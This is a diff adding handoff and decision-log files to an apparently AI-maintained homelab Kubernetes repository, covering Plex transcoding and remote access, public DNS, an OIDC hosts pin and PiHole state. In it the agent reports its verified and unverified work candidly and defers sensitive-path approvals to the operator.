+  **rc 3 is not green**, it is the calibrated worktree result, and it is reported here as rc 3.
+- **The gate was run three times, with the same rc 3 / three-skip result on each committed tip** —
+  including the final one. Worth recording from the first attempt: run *before* committing, with
+  `HEAD == origin/main`, the touched-requirement set is `NOT DETERMINABLE (on-base)` and the
+  R-TEST-03 coverage gate cannot be applied at all. Commit before gating from a fresh worktree branch.
+- **`runbooks/kustomization.yaml` still carries `- plex-quicksync=plex-quicksync.md`** in the
+  `configMapGenerator` `files:` list (line 110) — checked explicitly, because without it the page
+  merges and still 404s. `README=README.md` is likewise present, which is what serves the corrected
+  index entry.
+- **This change touches no `sensitive_paths`.** `infra/gitea/approval-policy.json` lists `ci/**`,
+  `.gitea/**`, `conformance/**`, `clusters/**`, `bootstrap/**`, `infra/gitea/**`,
+  `platform/kyverno/**`, `platform-config/kustomization.yaml`, `.sops.yaml`, `**/*.sops.yaml`,
+  `**/rbac.yaml`, `CLAUDE.md`. `runbooks/**` and `decisions/**` are not among them, and the
+  `approval-policy` stage passed.
+- **No YAML was added or edited**, so `indent-sequences: consistent` (which blocked a sibling branch
+  today) is not in play here; `lint` passed over the full tracked YAML set regardless.
+- **`DECISIONS-LOG.md` is untouched** — this handoff is its own file, per CLAUDE.md §7.
+- **The PR's own CI run was read, not assumed** (PR #39, run 208, task 261, head `1677dff5688b`).
+  **It is RED, and not because of this branch.** Every stage this change could affect is green —
+  `decisions-log`, `lint`, `l0`, `render-golden`, `l1`, `approval-policy` (`approval-policy` evaluated
+  for real on the `pull_request` event and passed: no sensitive path touched). The single failure is
+  **`gitea-settings`**, quoting the measured field:
+
+      [fail]   required_approvals: DECLARED 1 but LIVE is 0
+      [fail] Gitea has DRIFTED from infra/gitea/expected-branch-protection.json.
+      [fail] MERGE GATE: BLOCKED
+
+  Every other declared setting matched (`block_admin_merge_override`, `block_on_rejected_reviews`,
+  `dismiss_stale_approvals`, `enable_status_check`, `enable_push=false`,
+  `status_check_contexts = ["gate / gate (pull_request)"]`, `runners online: 1`). So **live `main`
+  currently requires ZERO approvals**, the declaration still says 1, and with
+  `REQUIRE_GITEA_SETTINGS: "true"` in `.gitea/workflows/gate.yml` that drift **blocks every PR in
+  the repo**, not just this one. Note the shape of it: the check that would notice approvals are
+  unenforced is the check that is failing. Local branch `fix/admin-approval-override` (`616a497`,
+  "fix(ci): let an administrator merge their own green PR") looks like the in-flight work that means
+  to change the declaration. **I did not touch it** — `infra/gitea/**` is a sensitive path, needs a
+  non-author approval, and is outside this branch's documentation-only scope. It is an operator
+  decision: re-assert the protection, or change the declaration deliberately in its own PR.
+- The repository-wide grep for `992` to find what else still asserts it: remaining occurrences are in
+  `catalog/plex.yaml`, `catalog/render.py`, `schemas/renderer-contract.md`,
+  `platform/intel-gpu-plugin/README.md`, `platform/intel-gpu-plugin/kustomization.yaml`, and three
+  older `decisions/` entries.
+
+## What I did NOT verify
+
+- **I did not re-measure anything on the live cluster in this session.** Every platform number on the
+  page — the VAAPI/zero-copy log lines, `RW-OPEN-OK` as uid 1000, the `gpu.intel.com/i915` limits and
+  requests on the pod spec, `Groups: 0 100 1000`, `id plex`, the 27 `Preferences.xml` attributes, the
+  empty `/proc/*/fd` sweep — came to me as measurements taken earlier on 2026-10-02 and was
+  transcribed, not re-run. Per CLAUDE.md §2b, treat the page as reporting those readings rather than
+  as proof of current state; re-run the primary check before relying on it.
+- **The per-title fallback cause is unverified and labelled as such.** The source codec of the title
+  that logged `no hardware decode accelerator found` was never read. The AV1 / 10-bit-4:2:2-HEVC
+  explanation is inferred from UHD 630's capability set alone.
+- **Whether Plex's dashboard *ever* shows `Transcode (hw)` on this deployment is unknown.** It was
+  observed silent during working hardware transcoding; whether that is a client/version quirk, a
+  reporting bug, or something about this setup was not investigated. The page therefore demotes it
+  rather than explaining it.
+- **The commands as written in the page were not executed from the page.** They are the forms that
+  were run, re-wrapped for `dev.sh`; in particular the `exec -it deploy/plex -- sh` route for the argv
+  check is noted as possibly lacking a TTY under `dev.sh run` and was not exercised in that shape.
+- **Stale `992` copies outside `runbooks/` were left alone**, deliberately — scope was documentation
+  only, and `catalog/plex.yaml`, `catalog/render.py`, `schemas/renderer-contract.md` and
+  `platform/intel-gpu-plugin/` all still carry the hostPath-era `Groups: 44 100 992 1000` reading as
+  if current. `render.py --selftest` asserts around that comment, so correcting it is a real change
+  with gate consequences, not a doc edit. **That is open work.** Older `decisions/` entries also cite
+  992; those are historical records and should stay as written.
+- **CI on the PR.** The branch is pushed and the PR opened; I did not watch the Gitea run report, so
+  nothing here should be read as "CI green". The only gate result I can quote is the local rc 3 above.

decisions/2026-10-03-node-keycloak-hosts-pin.md

@@ -0,0 +1,45 @@
+---
+date: 2026-10-03
+branch: fix/node-keycloak-hosts-pin
+title: Pin the OIDC issuer to the Gateway VIP on prod nodes — the WAN answer does not hairpin
+---
+
+## What changed
+
+Follow-up to PR #40 (`decisions/2026-10-03-public-dns-wan-target.md`). Public DNS for
+`*.home.keithjackson.dev` now CNAMEs to the WAN IP. The prod nodes resolve through public DNS,
+and the router does not hairpin, so the kube-apiserver could no longer reach its OIDC issuer
+`keycloak.home.keithjackson.dev`.
+
+- `roles/node_baseline`: a new `node_baseline_hosts_pins` list (default `[]`) and one
+  `blockinfile` task (tags `dns`, `hosts`). It writes the pins into `/etc/hosts` as a single
+  marked block. An empty list removes the block.
+- `group_vars/k3s_prod/vars.yml`: pins `keycloak.{{ k3s_base_domain }}` → `192.168.2.20`, which
+  must stay equal to `GATEWAY_VIP` (parity comment added). It also replaces the stale "no
+  /etc/hosts pin is needed" paragraph with the measured reason the pin is now required.
+
+Dev is unaffected (empty default).
+
+## What I verified
+
+- After PR #40 reconciled (`platform` lastAppliedRevision `576e1ab`, Healthy=True), on
+  k3s-prod-2 and k3s-prod-3: `getent hosts keycloak.home.keithjackson.dev` →
+  `136.51.115.252 wan.home.keithjackson.dev`. `curl https://keycloak…/realms/homelab/.well-known/openid-configuration`
+  → exit 60, `ssl_verify_result=18` (the router's self-signed cert, not the Gateway).
+- `journalctl -u k3s` (last 20 min) showed no OIDC/JWKS errors yet. The apiserver still holds
+  the keys it cached before the flip, so the failure is latent until a k3s restart or key rotation.
+- Neither node has cloud-init (`/etc/cloud` absent), so nothing rewrites `/etc/hosts` at boot.
+- `--check --diff --tags hosts --limit k3s-prod-2,k3s-prod-3`: each node gets exactly the
+  three-line marked block `192.168.2.20	keycloak.home.keithjackson.dev`.
+- Outside-in, PR #40 works: check-host.net probes from 3 external nodes got `200 OK` from
+  `https://plex.home.keithjackson.dev/identity` at `136.51.115.252`.
+
+## What I did NOT verify
+
+- **k3s-prod-1**: Ansible cannot reach it. SSH host key verification fails (`known_hosts:94`,
+  ED25519 `SHA256:zgUS8OeWznzCX9hlN7XdZ8iLNkU1G2loXjtJFfEUYpE`), which is consistent with
+  the 2026-09-11 SSD replacement and reinstall. The operator must confirm the fingerprint
+  before the pin can be applied there.
+- The playbook has not been applied for real. It is an operator run after merge:
+  `ansible-playbook playbooks/node-baseline.yml -e k3s_hosts=k3s_prod --tags hosts`.
+- An end-to-end kubectl OIDC login after the pin (needs a browser).

decisions/2026-10-03-plex-remote-access-l4.md

@@ -0,0 +1,129 @@
+---
+date: 2026-10-03
+branch: feat/plex-remote-access-l4
+title: Plex remote access — raw tcp/32400 via a pinned LoadBalancer VIP, not the L7 Gateway
+---
+
+## What changed
+
+Reported symptom: users cannot reach Plex from outside the LAN. **Two independent causes**, measured
+rather than inferred:
+
+1. **Plex advertised no remote connection at all.** Live `Preferences.xml` on prod:
+   `customConnections` **ABSENT**, `ManualPortMappingMode` **ABSENT**, while
+   `PublishServerOnPlexOnlineKey="1"` — publishing was on and there was nothing reachable to publish.
+   Plex's automatic UPnP/NAT-PMP path cannot work from a pod on the Cilium overlay.
+2. **Nothing from the WAN reached the cluster.** `136.51.115.252:32400` refused;
+   `136.51.115.252:443` answered with a **self-signed router cert** (`C=ZZ, CN=%D`), not the
+   Gateway's LE wildcard. The Plex Service was `ClusterIP` only — no off-cluster path to 32400 by
+   any route.
+
+This branch fixes the in-cluster half. **Remote access does not work until the operator also does
+two manual steps** (`runbooks/plex-remote-access.md`): the WAN tcp/32400 port-forward, and ticking
+"manually specify public port" in the Plex UI.
+
+- **`apps/wave-0/plex-remote.yaml` (new, hand-written).** A `type=LoadBalancer` Service on tcp/32400
+  pinned to `${PLEX_L4_VIP}` via `lbipam.cilium.io/ips`, plus a `CiliumNetworkPolicy`
+  (`plex-allow-remote-32400`) admitting `world`/`cluster`/`host`/`remote-node` to 32400. Non-catalog
+  because `schemas/servicedefinition.schema.json` is `additionalProperties: false` and has no field
+  for a LoadBalancer Service or a pinned VIP — the same reason `apps/wave-0/pihole-dns.yaml`,
+  `platform/crafty/service-l4.yaml` and `apps/vms/unifi/50-service-l4.yaml` are hand-written.
+- **`catalog/render.py`:** an `EXTRA_UNITS` entry (`plex-remote`, anchored to `plex`, `above: False`)
+  so `--emit-waves` places the unit in plex's own wave.
+- **`clusters/base/cluster-vars.yaml`:** new `PLEX_L4_VIP` (dev default `192.168.1.57`), plus the
+  substitution inventory comment updated to name `plex-remote: PLEX_L4_VIP`.
+- **`clusters/prod/kustomization.yaml`:** prod override `PLEX_L4_VIP: 192.168.2.24`.
+- **`apps/wave-0/kustomization.yaml`:** `plex-remote.yaml` added to `resources`.
+- **`runbooks/plex-remote-access.md` (new):** the two manual steps, the four-step verification, why
+  no alert is possible, and the two documented warts below.
+
+**`ADVERTISE_IP` was deliberately NOT set.** Setting it to `https://plex.home.keithjackson.dev:443`
+was the alternative — it needs no new WAN hole and the mechanism was verified working on an
+already-claimed server. **The operator chose the native path (2026-10-03)** so Plex terminates its own
+TLS (`*.plex.direct`) and streams bypass the Envoy L7 hop. `catalog/plex.yaml`'s deferral note for
+`ADVERTISE_IP` remains accurate and untouched.
+
+**`externalTrafficPolicy: Cluster`, with a known cost.** `Local` would preserve the client IP, but
+Cilium's L2 announcer does not follow the backend pod — the wart that cost this LAN an 8-day
+Minecraft outage (see `platform/crafty/service-l4.yaml`). Consequence accepted and documented: SNAT
+puts the client in `192.168.0.0/16`, inside `ALLOWED_NETWORKS`, so **Plex classifies remote streams
+as LAN**. That is a metering effect (remote bandwidth limits will not bind), not an authorization one.
+
+**SENSITIVE PATHS — this PR touches `clusters/**` (two files), so `ci/approval-policy.sh` will BLOCK
+it.** It needs the operator's `/approve-override <reason>` posted as a PR **review** of type
+"Comment". I have deliberately not posted it: CLAUDE.md §1 forbids an agent clearing this on its own
+PR, and the agent account holds `owner`, so the prohibition is a rule, not a limit.
+
+## What I verified
+
+All measurements against live prod, 2026-10-03, read-only.
+
+- **Plex's advertised state**, the finding this branch rests on: `customConnections=<ABSENT>`,
+  `ManualPortMappingMode=<ABSENT>`, `ManualPortMappingPort=<ABSENT>`,
+  `PublishServerOnPlexOnlineKey="1"`, `allowedNetworks="10.0.0.0/8,192.168.0.0/16"`. Read by
+  attribute grep, never by dumping `Preferences.xml` (it holds `PlexOnlineToken`).
+- **The L7 Gateway path works and is NOT the problem.** Via the Gateway VIP,
+  `GET https://plex.home.keithjackson.dev/identity` → `HTTP 200`, `claimed="1"`, real
+  `machineIdentifier`. HTTPRoute `plex-32400`: `Accepted=True`, `ResolvedRefs=True`.
+- **Plex enforces its own auth**, which is what makes an unfiltered WAN port defensible:
+  `/library/sections`, `/status/sessions`, `/:/prefs` all → **401** unauthenticated through the
+  Gateway.
+- **The SNAT/allowedNetworks wart is real, not theoretical.** A tagged probe through the Gateway was
+  logged by Plex as `[10.0.2.214:36040 (Allowed Network (WAN))]` — the Envoy pod IP, classified as an
+  allowed network.
+- **WAN state:** `136.51.115.252:32400` → connection refused. `136.51.115.252:443` → self-signed
+  cert `C=ZZ, ST=Somewhere, O=%D342e7e6b, CN=%D`. Public DNS resolves correctly:
+  `plex.home.keithjackson.dev` → CNAME `wan.home.keithjackson.dev` → `136.51.115.252`.
+- **`192.168.2.24` is free in-cluster.** `CiliumLoadBalancerIPPool default-pool`: IPsTotal 11 /
+  IPsUsed 4 / IPsAvailable 7; the only allocations are `.20` (cilium-gateway-shared), `.21`
+  (unifi-l4-*), `.22` (crafty-l4-*), `.23` (pihole-dns-*). Not a node address (`.10/.11/.12`) and not
+  the kube-vip control-plane VIP (`.9`).
+- **The manual-port-mapping step genuinely cannot be automated.** Grep of the running image's whole
+  init surface (`/etc/cont-init.d`, `/plex-common.sh`, `/usr/local/bin`) for `ManualPortMapping` and
+  `PLEX_PREFERENCE` → **NONE**.
+- **`ADVERTISE_IP` would have worked on a claimed server** (recorded because the runbook's
+  "why not" rests on it): `setPref "customConnections"` at line 126 of `40-plex-first-run` sits
+  **outside** the `PLEX_CLAIM`/`PlexOnlineToken` guard, and the `/.firstRunComplete` early-exit
+  marker is on the **overlay** FS, not the `/config` PVC, so the script re-runs every pod start.
+- **Toolbox gate** (`./infra/devcontainer/dev.sh run bash -c './ci/gate.sh'`): **rc 3**, with
+  `spec-immutability`, `decisions-log`, `lint`, `l0`, `render-golden`, `l1` and `approval-policy` all
+  **pass**. The rc 3 is two environmental skips — `gitea-settings` (no local `SETTINGS_API_TOKEN`)
+  and `conformance` L2/L3 (`CLUSTER_AVAILABLE` unset). **Not green. Reported as rc 3, not as pass.**
+- **`render-golden` passing is the specific proof** that the `render.py` `EXTRA_UNITS` change, the new
+  hand-written unit and the edited wave kustomization are mutually consistent.
+
+## What I did NOT verify
+
+- **THE ACTUAL FIX. Nothing in this branch has been proven to make remote access work** — it cannot
+  be, because both remaining steps are off-repo and manual (router forward, Plex UI toggle). This
+  branch removes two blockers and adds none; it does not demonstrate an outcome.
+- **Outside-in reachability, at all.** Every probe above was taken from inside the LAN, so the
+  `:443` self-signed cert strictly proves only that there is **no NAT hairpin** — it does **not**
+  prove outside-in failure. A router cert on WAN:443 is suggestive (its management UI would shadow a
+  forward), but unproven. **This repo has no off-LAN vantage point.** Test 3 in the runbook
+  (app.plex.tv from a cellular connection) is the only honest check.
+- **`192.168.2.24` was never ARP-probed off-cluster.** Only in-cluster pool accounting was checked.
+  `.23` was `arping`-probed before it was claimed; `.24` was not, so an off-cluster squatter would
+  not have been caught.
+- **The LoadBalancer has never been reconciled.** `plex-l4-tcp` does not exist in prod yet, so
+  LB-IPAM has not actually assigned the pinned VIP, L2 announcement has not been observed for it, and
+  the new CiliumNetworkPolicy has never admitted a real packet. Whether `world`/`host`/`cluster`/
+  `remote-node` is the correct entity set **under this SNAT path** is reasoned from
+  `platform/crafty/networkpolicy.yaml`'s working game-port rule, **not measured**.
+- **Whether Plex's remote path needs anything beyond the manual port tick.** If plex.tv still lists
+  no remote connection after both manual steps, this branch is necessary-but-insufficient.
+- **The CI approval-policy outcome.** The local stage reported green, but that is an offline N/A, not
+  a verdict: this PR touches `clusters/**`, so CI will block it pending an override.
+- **PRE-EXISTING DRIFT I FOUND AND DELIBERATELY LEFT ALONE — worth its own follow-up.** Running the
+  documented `python3 catalog/render.py --emit-waves` regenerates the wave kustomizations and wants to
+  add **`vm-demo.yaml`** to wave 0 and **`keycloak.yaml`** to wave 1. Both are listed as
+  intentionally not onboarded in `ci/render-golden.sh`
+  (`RENDER_GOLDEN_NOT_ONBOARDED="keycloak vm-demo"`); their manifests are tracked in `apps/` but
+  deliberately absent from the `resources` lists so Flux does not apply them. `--emit-waves` places
+  any file present on disk and has **no awareness of that exclusion**, while `render-golden.sh` uses
+  `--wave-layout` and compares rendered manifests only — it never checks kustomization `resources`,
+  which is why this has survived unnoticed. **So the header "DO NOT hand-edit: re-run
+  `render.py --emit-waves`" is currently unsafe advice**: following it onboards an IdP and a KubeVirt
+  VM. I therefore restored both kustomizations and hand-added only my one line. I did not fix
+  `--emit-waves`, and I have not determined how long the drift has existed or whether either service
+  is *meant* to be onboarded.

decisions/2026-10-03-public-dns-wan-target.md

@@ -0,0 +1,73 @@
+---
+date: 2026-10-03
+branch: feat/public-dns-wan-target
+title: Public DNS now points at the WAN — Gateway-published names CNAME to an in-cluster DDNS record
+---
+
+## What changed
+
+The operator closed the open "public-target gap" recorded in
+`platform/externaldns/helmrelease.yaml`. The WAN NAT / port-forwarding (80/443 → Gateway VIP
+192.168.2.20) was done by the operator outside this repo.
+
+Operator decisions (2026-10-03):
+
+1. **Scope: every Gateway-published name goes public.** That covers the five `exposure: public`
+   apps (plex, gitea, keycloak, nextcloud, seerr) and also the hand-authored admin UIs (auth,
+   crafty, grafana, headlamp, the `home.keithjackson.dev` apex). `internal` services still publish
+   nothing: their `controller: none` route annotation is checked before the target is read.
+2. **The WAN IP is kept current in-cluster**, not hardcoded.
+
+Implementation:
+
+- `platform/gateway/gateway.yaml`: `external-dns.alpha.kubernetes.io/target: wan.${BASE_DOMAIN}` on
+  the shared Gateway. Every gateway-sourced record changes from `A 192.168.2.20` to
+  `CNAME wan.home.keithjackson.dev`.
+- `platform/externaldns/ddns.yaml` (new): `favonia/cloudflare-ddns:1.17.1` Deployment in the
+  `external-dns` namespace. It reuses `cloudflare-api-token` and keeps `wan.${BASE_DOMAIN}` an
+  unproxied IPv4 A record at the WAN IP (detected via Cloudflare trace, checked every 5 min,
+  `DELETE_ON_STOP=false`). external-dns has no TXT registry entry for it, so it never owns or
+  deletes it.
+- The helmrelease comment block and the README now describe the decision instead of the gap.
+
+Known consequence: **k3s nodes resolve through public DNS** (`node_baseline_dns_servers` = 8.8.8.8 /
+1.1.1.1). The kube-apiserver's OIDC issuer `keycloak.home.keithjackson.dev` therefore resolves to the
+WAN IP from the nodes, and kubectl SSO works only if the router hairpins WAN:443 back to the Gateway.
+A LAN-side probe of `136.51.115.252:443` on 2026-10-03 returned a **self-signed placeholder cert**,
+not the Gateway's Let's Encrypt wildcard. That suggests no hairpin. The cert-based admin kubeconfig
+is unaffected.
+
+## What I verified
+
+- Live prod, 2026-10-03, before the change: Gateway `gateway/shared` ADDRESS `192.168.2.20`.
+  External-dns args include `--source=gateway-httproute --source=service --policy=sync
+  --txt-owner-id=prod --domain-filter=keithjackson.dev`, and it logs "All records are already up to
+  date".
+- Public answers at 1.1.1.1: plex/gitea/keycloak/grafana/auth/apex → `192.168.2.20`;
+  `crafty-mc` → `.22` and `unifi` → `.21` (service source, not affected by this change); jackett →
+  none (internal, correctly unpublished).
+- The authority (betty.ns.cloudflare.com) has no unprefixed TXT, AAAA or MX at `plex.` or the apex,
+  so the A→CNAME switch has no co-existing record to collide with.
+- WAN IP from the workstation: `136.51.115.252`.
+- No CiliumNetworkPolicy or NetworkPolicy in `external-dns`. The Kyverno label and default-deny
+  policies match only `app-namespace` namespaces. The vpn egress policy selects only
+  `egress-class: vpn` pods.
+- Toolbox gate result: see the PR description (run after this commit).
+
+## What I did NOT verify
+
+- **The outside-in path.** I have no vantage point outside the LAN. Whether
+  `https://<svc>.home.keithjackson.dev` from the internet reaches the Gateway with the LE cert is
+  UNVERIFIED.
+- **Hairpin / kubectl SSO after the flip.** Likely broken per the probe above. Fix candidates: a
+  node `/etc/hosts` pin for `keycloak.${BASE_DOMAIN}` → Gateway VIP via `node_baseline`, or router
+  NAT reflection.
+- **The record-type flip itself**, until Flux reconciles: whether Cloudflare accepts external-dns's
+  create-CNAME in the same batch as the delete-A, or converges one interval later.
+- `favonia/cloudflare-ddns` under this pod securityContext. The README warns that
+  `no-new-privileges` misbehaves on some Proxmox-style hosts. These are bare-metal nodes, but it is
+  untested until the pod runs.
+- Whether the L4 service-source names (crafty-mc, unifi) should also go public. Not decided, not
+  changed.
+- `conformance/tests/l0-static/internal-services-publish-no-public-dns/check.sh` header lines 39–40
+  still describe the target as open. That is a sensitive path, so it is left for a follow-up.

decisions/2026-10-04-pihole-declare-state.md

@@ -0,0 +1,133 @@
+---
+date: 2026-10-04
+branch: feat/pihole-declare-state
+title: PiHole's operator-set state is now declared in git — the prerequisite for running more than one replica
+---
+
+## What changed
+
+Phase 1 of making LAN DNS survive a node failure. The operator asked for multi-replica PiHole;
+measurement showed that cannot be done safely first, because PiHole's important state was not
+reproducible from git. A second replica with a fresh PVC would have come up **serving DNS and
+blocking nothing, with a different admin password** — answers varying by which pod replied. This
+branch closes that; the replica work is phase 2 and is deliberately NOT here.
+
+**The undeclared-state inventory, measured not guessed.** `pihole.toml` marks every non-default
+setting `### CHANGED`, and those that came from the environment `### CHANGED (env)`. The complete
+live list on 2026-10-04:
+
+| Setting | Status |
+|---|---|
+| `dns.upstreams`, `dns.listeningMode`, `dns.rateLimit.count`, `misc.dnsmasq_lines` | `### CHANGED (env)` — already declared in `catalog/pihole.yaml` |
+| `files.macvendor` | `### CHANGED` — set by the image itself (container path), not operator state |
+| `webserver.api.pwhash` | **`### CHANGED` — set out of band. Declared NOWHERE.** |
+
+So exactly **one** operator-set value lived only on the PVC. Separately, the **adlists** were also
+undeclared: `gravity.db` held one list (StevenBlack's hosts) and 72,234 gravity domains, with nothing
+in this repo naming it.
+
+- **`apps/wave-0/pihole-bootstrap-secret.sops.yaml` (new, SOPS/age).** Secret `pihole-bootstrap`,
+  key `webui-password`. Named to the `<svc>-bootstrap-secret.sops.yaml` convention so
+  `render.py --emit-waves` places it with no renderer change. The value is a 32-char random password
+  generated at authoring time and **never printed to a transcript**.
+- **`catalog/pihole.yaml`:** `FTLCONF_webserver_api_password` sourced from that Secret.
+  `webserver.api.password` takes CLEARTEXT and FTL hashes it itself — verified in the running image,
+  where `pihole setpassword` *is* `setFTLConfigValue "webserver.api.password"`, commented upstream
+  "pihole-FTL will automatically hash the password". The PVC's `pwhash` becomes a derived artefact.
+- **`catalog/pihole.yaml`:** a `lifecycle.postStart` hook that **reconciles** the declared adlist set
+  into `gravity.db` on every container start — adds missing, re-enables disabled, and **disables**
+  (never deletes) anything enabled but undeclared, running `pihole -g` only when something moved.
+  Same level-triggered idiom, and the same reasoning, as `catalog/qbittorrent.yaml`'s postStart.
+- **`apps/wave-0/pihole.yaml`, `apps/wave-0/kustomization.yaml`:** re-rendered / secret registered.
+
+**Why a postStart hook and not a file.** PiHole v6 keeps adlists as DB rows. `/etc/pihole/adlists.list`
+still exists in `gravity.sh` but is **migration-only**: its import sits inside `migrate_to_database()`
+behind `if [ ! -e "$gravityDBfile" ]`, so it fires only while *creating* a database. A ConfigMap
+mounted there would be silently ignored on every pod this cluster runs today. There is also no
+`pihole adlist` CLI subcommand, so SQL is the actual interface; FTL ships an embedded shell
+(`pihole-FTL sqlite3`) so nothing had to be added to the image.
+
+**The password is kept rather than set empty, deliberately.** The admin UI is already behind the
+oauth2-proxy sidecar (`--allowed-group=platform-admins`), so an empty password would have been
+simpler. But the `pihole` Service still publishes **port 80** (PiHole direct, bypassing the proxy on
+`:4180`) and only the CiliumNetworkPolicy closes it — and this repo has a documented default-deny
+drift history. An unauthenticated admin UI that can rewrite LAN DNS should not rest on one policy
+staying correct. Narrowing that Service port is follow-up, not done here.
+
+**SENSITIVE PATHS — this PR adds a `**/*.sops.yaml`, so `ci/approval-policy.sh` will BLOCK it.** It
+needs the operator's `/approve-override <reason>` as a PR **review** of type "Comment". Not posted by
+me: CLAUDE.md section 1 forbids an agent clearing this on its own PR.
+
+## What I verified
+
+Live prod, 2026-10-04, read-only except where noted.
+
+- **The undeclared-state inventory above** — read from `pihole.toml`'s own `### CHANGED` markers, with
+  the password value masked. This is the measurement the whole branch rests on.
+- **A fresh `gravity.db` seeds NO adlists.** The image's own schema template
+  `/etc/.pihole/advanced/Templates/gravity.db.sql` creates the `adlist` table and contains no
+  `INSERT INTO adlist` at all — grepped in the running image. Confirmed empirically below (0 rows).
+  This is why the adlist declaration is load-bearing and not cosmetic.
+- **The adlists.list path really is migration-only** — read the guard in `/opt/pihole/gravity.sh`
+  (`migrate_to_database()`, `if [ ! -e "$gravityDBfile" ]`).
+- **`webserver.api.password` is a real settable key** — `pihole-FTL --config webserver.api.password`
+  returns a masked value, and `/usr/local/bin/pihole`'s `setpassword` sets exactly that key.
+- **THE RENDERED HOOK ACTUALLY WORKS — all four paths, extracted from `apps/wave-0/pihole.yaml` and
+  run in the live pod against THROWAWAY COPIES of `gravity.db` in `/tmp`** (production `gravity.db`
+  was never written, and `pihole -g` was stubbed so no 70k-domain download could start):
+  1. *Steady state* → `already matches the declared set - nothing to do`. No writes, no rebuild.
+  2. *True fresh DB built from the image's schema template* → 0 adlists before; hook added the
+     declared list and triggered the rebuild. **This is the fresh-PVC/new-replica case.**
+  3. *An undeclared list enabled* → disabled it (`enabled=0`), left the declared one alone, and did
+     not delete the row.
+  4. *Declared list present but disabled* → re-enabled it.
+- **Required tools exist in the image:** `bash`, `expr`, `grep`, `printf`, `sleep`, `pihole-FTL`.
+- **The Secret is genuinely encrypted** to the repo's age recipient; `stringData.webui-password`
+  starts `ENC[`. The gate's `no-plaintext-secrets (R-SEC-01)` L0 check passes.
+- **Schema:** `check-jsonschema` against `schemas/servicedefinition.schema.json` passes.
+- **Render determinism:** the canonical
+  `render.py --all catalog -o apps --wave-layout --no-image-automation` changed **only**
+  `apps/wave-0/pihole.yaml`. `render-golden` passes, so the hook's text also satisfies
+  `assert_substitution_safe` (no braced dollar expansion — the Flux envsubst contract).
+- **Toolbox gate:** rc **3**, with `spec-immutability`, `decisions-log`, `lint`, `l0`,
+  `render-golden`, `l1`, `approval-policy` all **pass**. The rc 3 is the two usual environmental
+  skips — `gitea-settings` (no local `SETTINGS_API_TOKEN`) and `conformance` L2/L3
+  (`CLUSTER_AVAILABLE` unset). **Not green; reported as rc 3.**
+
+## What I did NOT verify
+
+- **Nothing here has been reconciled.** Flux has not applied any of it, so the password has never
+  been set by this mechanism and the hook has never run during a real container start. Everything
+  above is the rendered artifact tested out-of-band, plus the image's own source.
+- **THE CURRENT ADMIN PASSWORD WILL STOP WORKING, and that is the intent.** FTL re-hashes
+  `webserver.api.password` on start, overwriting the existing `pwhash`. Whoever knows the present
+  password (nobody, which is why this started) loses it; the declared one replaces it. I have not
+  observed that replacement happen.
+- **Cold-start cost is unmeasured and could matter.** `postStart` must complete before the container
+  is reported Running. On a fresh PVC the hook waits for `gravity.db` (bounded, up to 180s) and then
+  runs a real `pihole -g` (72k domains, network downloads). `apps-wave-0` is `wait: true` and
+  `apps-wave-1` `dependsOn` it, so a slow cold start **delays the app tier**. The steady-state path
+  exits in about a second (scenario 1), so this is a rebuild/first-boot cost only — but it is not
+  measured, and the stub in testing means `pihole -g`'s real duration here is unknown.
+- **Whether `pihole -g` succeeds from inside the hook's environment.** Its failure is caught and the
+  existing `gravity.db` retained, so a failure degrades rather than breaks — untested live.
+- **Concurrency.** Nothing serialises the hook against FTL's own scheduled gravity update. SQLite
+  handles the locking, and the hook's writes are three small statements, but no interleaving was
+  exercised.
+- **MULTI-REPLICA — PHASE 2, NOT STARTED.** This branch only removes the blocker. The remaining work,
+  and it is substantial: a `replicas`/placement field on the ServiceDefinition schema (currently
+  `additionalProperties: false` with no such field), `render.py` emitting a StatefulSet with
+  `volumeClaimTemplates` (the config PVC is **ReadWriteOnce**, so a 2-replica Deployment cannot
+  work), pod anti-affinity, a PodDisruptionBudget (there is none today), re-rendered goldens, and
+  `conformance/**` updates — the last making phase 2 sensitive-path as well. The PVC rename a
+  StatefulSet forces will discard the existing `gravity.db`, which is only safe **because** of this
+  branch, and should be done only after this one is confirmed working in-cluster.
+- **The real risk the operator named is NOT fixed by phase 2 either.** Replicas address *node*
+  failure. LAN DNS still depends on the cluster as a whole — etcd quorum, Cilium, Longhorn, a bad
+  reconcile. Quantified on 2026-10-04: with `tolerationSeconds=300` plus node-NotReady detection
+  plus a Longhorn RWO force-detach, a failure of the node running the pod is roughly **6-10 minutes
+  of no LAN DNS**; a failure of the node holding the `pihole-dns-*` L2 lease (currently a
+  *different* node — lease on k3s-prod-2, pod on k3s-prod-1) is tens of seconds. An out-of-cluster
+  secondary resolver carrying the same `address=` lines is the only option that removes the
+  dependency, and it was considered and not chosen.
+- **Port 80 on the `pihole` Service is still published** and still closed only by policy. Not narrowed.

decisions/ARCHIVE.sha256

@@ -0,0 +1 @@
+b16e8cb7ea12720bc7c3a77a496211e3204534c5e6600ba748fb9ab14fa21c26  DECISIONS-LOG.md

decisions/README.md

@@ -0,0 +1,101 @@
+# `decisions/` — the handoff log, one file per entry
+
+This directory **is** the decision log. `../DECISIONS-LOG.md` is the frozen archive of
+everything written before 2026-09-29 and is never edited again (see "The archive is
+frozen" below).
+
+## Why this exists
+
+`DECISIONS-LOG.md` was append-only in a single file, and every agent appended to its
+**tail**. Two branches that both append hit the same last hunk, so git cannot
+auto-merge them: the second one to be reviewed conflicts, and so does the third, and
+the fourth. Measured on 2026-09-29: **four of the five open PRs were unmergeable, and
+`DECISIONS-LOG.md` was the only conflicting file in all four**:
+
+    #22 fix/crafty-oauth2-proxy-signin      CONFLICT (content): DECISIONS-LOG.md
+    #20 feat/conformance-job-template       CONFLICT (content): DECISIONS-LOG.md
+    #19 feat/conformance-trigger-kubeconfig CONFLICT (content): DECISIONS-LOG.md
+    #18 feat/conformance-runner-image       CONFLICT (content): DECISIONS-LOG.md
+    #17 feat/ci-is-the-approver             clean  (it touched no log entry)
+
+Nothing was wrong with any of those changes. The log's *storage format* serialised work
+that was otherwise parallel, and it got worse with every concurrent branch: N branches
+produce N-1 rebases, each of which invalidates any gate run that preceded it.
+
+The fix is the obvious one for concurrent appenders: **stop sharing a file**. Each
+handoff is its own file. Two agents writing handoffs touch disjoint paths, so there is
+nothing for git to merge and nothing to conflict. This scales to any number of parallel
+branches with zero coordination — which is the point, since the agents are deliberately
+isolated from each other in separate worktrees and cannot coordinate.
+
+There is deliberately **no index file** and no counter. An index would be a shared
+mutable file — exactly the thing that just failed — and a sequence number would have
+two agents racing for `0043`. The directory listing is the index.
+
+## Writing an entry
+
